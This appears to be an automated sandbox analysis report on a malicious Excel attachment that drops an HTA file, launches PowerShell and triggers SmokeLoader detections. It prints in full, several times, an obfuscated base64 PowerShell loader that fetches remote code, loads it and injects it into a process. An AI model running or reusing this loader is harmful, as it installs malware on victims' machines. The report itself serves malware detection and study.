https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen
Source: mshta.exe, 00000011.00000003.476368039.000000000015F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helen93
Source: mshta.exe, 00000011.00000003.476368039.00000000001B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenJ
Source: mshta.exe, 00000011.00000003.476368039.000000000015F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenM?
Source: mshta.exe, 00000011.00000002.487556654.000000000012A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenUw~N
Source: mshta.exe, 00000011.00000003.487524489.000000000014D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486994334.000000000014C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.476368039.000000000014D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenVw~M
Source: mshta.exe, 00000011.00000003.486994334.000000000014C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.476368039.000000000014D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenXw~C
Source: mshta.exe, 00000011.00000003.487328121.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487807567.0000000003BBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenesp
Source: mshta.exe, 00000011.00000002.487556654.000000000012A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://link.uebie.de/bUPKfu?&sari=acoustic&flat=red&crown=important&nurture=aboriginal&helenyX
Source: mshta.exe, 00000005.00000003.423125156.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.424134255.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.000000000329C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://link.uebie.de/vW~(
Source: mshta.exe, 00000005.00000003.423125156.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.424134255.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.000000000329C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.000000000329C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://link.uebie.de/~W~(
Source: powershell.exe, 00000006.00000002.453312735.00000000120B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: explorer.exe, 00000026.00000003.591178920.0000000000658000.00000004.00000020.00020000.00000000.sdmp, 402E.tmp.38.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: mshta.exe, 00000005.00000003.424134255.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.422979100.0000000003252000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000002.426654460.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.423125156.0000000003253000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.486943045.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487409113.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.487328121.0000000003BDA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000003.483846051.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000011.00000002.487839067.0000000003BF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: explorer.exe, 0000001F.00000000.521354537.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: 402E.tmp.38.dr	String found in binary or memory: https://www.google.com/favicon.ico
Source: explorer.exe, 0000001F.00000000.521354537.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 0000001F.00000000.521354537.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes

Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443

Source: unknown	HTTPS traffic detected: 5.45.108.48:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.45.108.48:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.45.108.48:443 -> 192.168.2.22:49170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.45.108.48:443 -> 192.168.2.22:49168 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 30.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.522714130.00000000000C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.522844560.00000000001F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000022.00000002.567719148.0000000000261000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001E.00000002.522714130.00000000000C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000001E.00000002.522844560.00000000001F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: Process Memory Space: powershell.exe PID: 2104, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3836, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Excel sheet contains many unusual embedded objects

Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls	OLE: Microsoft Excel 2007+
Source: ~DF7DC820911769618A.TMP.0.dr	OLE: Microsoft Excel 2007+
Source: D6330000.0.dr	OLE: Microsoft Excel 2007+

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat[1].hta

Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\vtjrhji	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_00402F5D RtlCreateUserThread,NtTerminateProcess,	30_2_00402F5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_004014BF NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	30_2_004014BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_00402321 NtQuerySystemInformation,NtQueryInformationProcess,	30_2_00402321
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_004025D3 NtClose,	30_2_004025D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_004014D6 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	30_2_004014D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_004022D8 NtQuerySystemInformation,NtQueryInformationProcess,	30_2_004022D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_004022D9 NtQuerySystemInformation,NtQueryInformationProcess,	30_2_004022D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_004022E5 NtQuerySystemInformation,NtQueryInformationProcess,	30_2_004022E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_004014E8 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	30_2_004014E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_004014EB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	30_2_004014EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 30_2_004022F7 NtQuerySystemInformation,NtQueryInformationProcess,	30_2_004022F7
